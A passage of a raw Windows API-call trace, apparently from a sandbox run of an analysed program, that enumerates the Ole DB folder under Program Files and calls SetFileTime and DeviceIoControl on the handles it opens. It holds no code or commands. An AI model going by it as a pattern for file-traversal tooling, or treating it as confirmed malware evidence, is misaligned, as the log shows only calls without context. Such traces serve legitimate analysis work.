ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0065.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.596] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0065.596] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0065.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa08d30 [0065.597] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa08d30, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa08d30, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0065.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08d30) returned 1 [0065.597] NtClose (Handle=0x124) returned 0x0 [0065.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07650 [0065.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.597] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0065.597] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.597] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0065.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07760 [0065.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07760) returned 1 [0065.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07760 [0065.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07760) returned 1 [0065.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07760 [0065.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0065.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07650) returned 1 [0065.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04380 [0065.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05ab0 [0065.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07760) returned 1 [0065.598] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0065.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07760 [0065.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07760) returned 1 [0065.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07760 [0065.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07760) returned 1 [0065.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07760 [0065.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa043c0 [0065.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05cc0 [0065.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07760) returned 1 [0065.598] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb93886, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb93886, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0065.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07760 [0065.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07760) returned 1 [0065.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07760 [0065.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07760) returned 1 [0065.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07760 [0065.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa043e0 [0065.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05ed0 [0065.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07760) returned 1 [0065.598] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0065.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07760 [0065.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07760) returned 1 [0065.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07760 [0065.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07760) returned 1 [0065.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07760 [0065.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04400 [0065.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05dc8 [0065.599] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07760) returned 1 [0065.599] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0065.599] GetLastError () returned 0x12 [0065.599] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0065.599] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0065.599] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.599] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0065.599] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0065.599] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb93886, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb93886, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0065.599] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0065.599] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0065.599] GetLastError () returned 0x12 [0065.599] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.599] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0065.599] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0065.599] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.599] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0065.599] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cd0c35, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14cd0c35, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x349a6d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0065.599] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c0138a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86c0138a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86c0138a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0065.599] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab69cf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x2ab69cf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x838ac7b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0065.599] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3c3a6b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc3c3a6b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x349f2860, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0065.599] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d2cdc0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x1d2cdc0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x383128c0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0065.599] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c2ad0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84c2ad0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84c50e6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0065.599] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabf604b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfabf604b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xdf9a48f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa4ffde2f, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa52d1816, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f320f1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9350f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xcc9350f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xcc210f8, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f7e4bf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14f7e4bf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x44773fc0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x59000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e5c85, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc9e5c85, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xc97386e, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x44e18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0065.600] GetLastError () returned 0x12 [0065.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0065.600] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0065.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0065.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0065.600] GetLastError () returned 0x12 [0065.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0065.600] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0065.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0065.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0065.601] GetLastError () returned 0x12 [0065.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0065.601] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0065.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0065.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0065.601] FindNextFileW 